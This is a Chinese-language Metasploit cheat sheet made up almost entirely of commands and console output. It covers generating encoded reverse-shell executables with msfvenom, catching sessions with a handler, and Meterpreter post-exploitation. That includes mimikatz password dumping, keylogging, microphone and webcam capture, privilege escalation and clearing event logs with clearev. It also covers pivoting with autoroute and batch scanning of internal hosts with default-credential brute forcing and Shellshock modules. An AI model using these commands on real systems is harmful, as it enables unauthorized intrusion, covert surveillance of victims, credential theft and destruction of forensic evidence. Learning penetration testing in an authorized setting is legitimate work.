Metasplot Framework
目录
0x00 简介
0x01 安装Metasploit(Windows和Linux)
0x02 msfvenom
0x03 监听
0x04 Meterpreter命令
0x05 路由
0x06 内网扫描
0x00 简介
MetaSploit-Framework简介
Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个 已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者 能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用 的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的 测试和利用,将渗透的过程自动化、简单化。
相关术语
Exploit:攻击
通过利用msf中的脚本对目标系统实施精准打击或漏洞验证
Payload:攻击载荷
攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码
Listener:监听器
生成木马之后发给受害主机,监听反弹木马连入本机
0x01 安装Metasploit
Linux:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Windows:
访问:https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
下载地址:http://windows.metasploit.com/metasploitframework-latest.msi
0x01-1 windows下载安装
访问:https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
下载地址:http://windows.metasploit.com/metasploitframework-latest.msi
运行metasploitframework-latest.msi,一路安装下去
然后到C:\metasploit-framework\bin,运行msfconsole.bat
0x01-2 Linux环境下载安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
输入命令msfconsole进入控制台
0x02 msfvenom
metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已然成为历史,取而代之的是msfvenom。
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
0x02-1 payloads
msfvenom -l payloads 列出payloads
msfvenom -l payloads | grep windows/meterpreter 筛选出windows系统的payloads
msfvenom -p windows/meterpreter/reverse_tcp --payload-options 查看某个payloads的参数
有windows,Linux,android等个平台的payload
0x02-2 编码
msfvenom -l encoders
常用的编码:
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
0x02-3 nops选项(空字段模块/一切为了绕过和免杀
msfvenom -l nops
0x02-4 生成payload
msfvenom生成payload的常见格式为:
msfvenom -p <payload> <payload options> -f <format> -o <path>
最简单型
最简单型:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.237 LPORT=4444 -f exe -o reverse_shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.168.237 LPORT=4444 -f exe -o reverse_shell.exe
-p 指定payload,windows/meterpreter/reverse_tcp 是32位的windows系统反弹shell的payload
windows/x64/meterpreter/reverse_tcp 是64位的windows系统反弹shell的payload
LHOST msf的IP
LPORT msf监听的端口
-f 生成的格式为exe
-o 输出到本地名为reverse_shel.exe
编码处理型:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.168.237 -e x86/shikata_ga_nai -i 11 -f exe -o reverse_shell2.exe
-a 64或32位系统
--platform windows 指定windows系统
-e x86/shikata_ga_nai 编码格式
-i 5 编码次数
X>reverse_shell.exe -f exe -o reverse_shell.exe
0x03 监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.168.237
lhost => 192.168.168.237
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.168.237:5555
[*] Sending stage (179779 bytes) to 192.168.168.191
[*] Meterpreter session 1 opened (192.168.168.237:5555 -> 192.168.168.191:52691) at 2019-12-23 14:57:58 +0800
meterpreter >
快速监听
handler -H 192.168.168.237 -P 5555 -p windows/meterpreter/reverse_tcp
0x04 Meterpreter命令
查看有多少会话
sessions -l
连接会话
sessions -i id
查看会话命令
meterpreter > help
查看进程
meterpreter > ps
进程注入
meterpreter > migrate id
vnc查看桌面
meterpreter > run vnc
录音
meterpreter > record_mic -d 10
开启摄像头
meterpreter > webcam_stream
屏幕截图
meterpreter > getdesktop
系统信息
meterpreter > sysinfo
取密码
meterpreter > load mimikatz 加载法国面包
meterpreter > msv 获取密码
meterpreter > kerberos 获取密码
meterpreter > clearev 清除日志
截图
meterpreter > screenshot
获取最高权限
meterpreter > getsystem
进入目标机器shell
meterpreter > shell
键盘记录
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
录音
meterpreter > record_mic -d 10
打开摄像头
meterpreter > webcam_stream
上传文件
meterpreter > upload /root/shellcode/1.txt c:\\windows\\temp\\
下载文件
meterpreter > download c:\\windows\\temp\\2.txt /root/shellcode/
Reboot 重启电脑
Reg 修改注册表
Shutdown 关闭电脑
hashdump 下载hash
查看会话,连接会话
sessions -l
sessions -i id
查看进程
ps
进程注入
migrate pid
vnc查看桌面
run vnc
取密码
meterpreter > load mimikatz 加载法国面包
meterpreter > msv 获取密码
meterpreter > kerberos 获取密码
meterpreter > clearev 清除日志
系统信息
sysinfo
截图
screenshot
获取system权限
meterpreter > getsystem
键盘记录
keyscan_start
keyscan_dump
keyscan_stop
录音
apt-get install mplayer
record_mic -h
record_mic -d 10
mplayer xxx.wav
打开摄像头
webcam_stream
上传文件和下载文件
upload /root/shellcode/1.txt c:\\windows\\temp\\
download c:\\windows\\temp\\2.txt /root/shellcode/
0x05 路由
添加目标指定内网段路由的方式进行存活探测
1-1、扫描10.10.101.0/24
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 10.10.101.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
【+】注意:此处案例是扫描其他段的时候,需要将路由也设置为其他段,例如:前面是扫描10.10.101段,现在要扫描10.10.102段,则路由设置为10.10.102段!
2-1、扫描10.10.102.0/24
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 10.10.102.0 -n 255.255.255.0 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
【+】注意:此处案例是子网掩码为25,且rhost也设置为/25
3-1、扫描10.10.101.0/24
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 163.20.81.0 -n 255.255.255.128 注意这个掩码,实战中要根据机目标机器上的掩码来的,不要闭着眼睛就直接给 0/24,不然有些机器可能会被漏掉
meterpreter > run autoroute -p 路由添加完以后,习惯性的看下到底有没有加上
删除路由
run autoroute -d -s 10.10.101.0/24
添加路由
删除路由
0x06 内网扫描
端口扫描
use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.168.0/24
msf5 auxiliary(scanner/portscan/tcp) > set ports 80
msf5 auxiliary(scanner/portscan/tcp) > set threads 100
msf5 auxiliary(scanner/portscan/tcp) > run
ms17010漏洞扫描
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192.168.1.0/24
msf > set rport 445
msf > set threads 3
msf > run
内网Jboss
msf > use auxiliary/scanner/http/jboss_vulnscan
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set threads 5
msf > set rport 8080
msf > set rport 80
msf > run
内网Tomcat
msf > use auxiliary/admin/http/tomcat_administration [ 此模块只适合 tomcat 5.5 以下的版本,对于高版本,我们完全还有很多其它的替代品 ]
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 8080
msf > set rport 80
msf > set threads 5
msf > set tomcat_user tomcat
msf > set tomcat_pass tomcat
msf > run
内网 jenkins 默认登陆口弱口令
msf > use auxiliary/scanner/http/jenkins_login
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 8080
msf > set rport 80
msf > set threads 5
msf > set username admin
msf > set password admin
msf > run
内网批量 ssh 单口令探测
msf > use auxiliary/scanner/ssh/ssh_login
msf > set rhosts 172.16.41.3,1,2,26,23,24,25,21,22,48,95,252 172.16.40.1,2,16,17 172.16.14.99,152
msf > set username admin
msf > set username root
msf > set password P@ssw0rd
msf > set threads 5
msf > run
bash 远程执行 [getshell]
msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 80
msf > set rport 8080
msf > set targeturi /cgi-bin/test.cgi
msf > run
心脏滴血[循环抓密码]
msf > use auxiliary/scanner/http/apache_optionsbleed
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set rport 443
msf > set threads 3
msf > run
尝试对内网 web 进行批量 put 利用尝试
msf > use auxiliary/scanner/http/http_put
msf > set rhosts 172.16.41.1-3,21-23,41-44,48,55,68,70,72,74-79,95,252 172.16.52.11,13-14,17,201 172.16.40.1-2,11-15 172.16.14.26,39,68,99,152,197,247,252,253 172.16.54.252 172.16.53.22,53,55,56,58,59,61-65
msf > set filedata session logs
msf > set filename tmp.txt
msf > set rport 80
msf > set rport 8080
msf > set threads 3
msf > run
批量探测内网的下所有 ftp 种类及详细版本
msf > use auxiliary/scanner/ftp/ftp_version
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set threads 5
msf > run
[+] 172.16.41.72:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
[+] 172.16.14.152:21 - FTP Banner: '220 (vsFTPd 2.0.7)\x0d\x0a'
[+] 172.16.14.253:21 - FTP Banner: '220 (vsFTPd 2.2.2)\x0d\x0a'
[+] 172.16.53.59:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
接着,拿着上面已经获取到的所有 ftp server 的 ip 继续尝试批量匿名读写
msf > use auxiliary/scanner/ftp/anonymous
msf > set rhosts 172.16.41.72 172.16.14.152,253 172.16.53.59
msf > set threads 1
msf > run
内网中尝试批量 nfs 挂载
msf > use auxiliary/scanner/nfs/nfsmount
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set threads 5
msf > run
批量探测内网可匿名访问的 rsync,通常情况下这些 rsync 都是做 web 的同步备份的,所以里面可能包含有大量目标站点的敏感信息[账号密码]
msf > use auxiliary/scanner/rsync/modules_list
msf > set rhosts 172.16.41.0/24 172.16.52.0/24 172.16.40.0/24 172.16.14.0/24 172.16.54.0/24 172.16.56.0/24 172.16.53.0/24
msf > set rport 873
msf > set threads 5
msf > run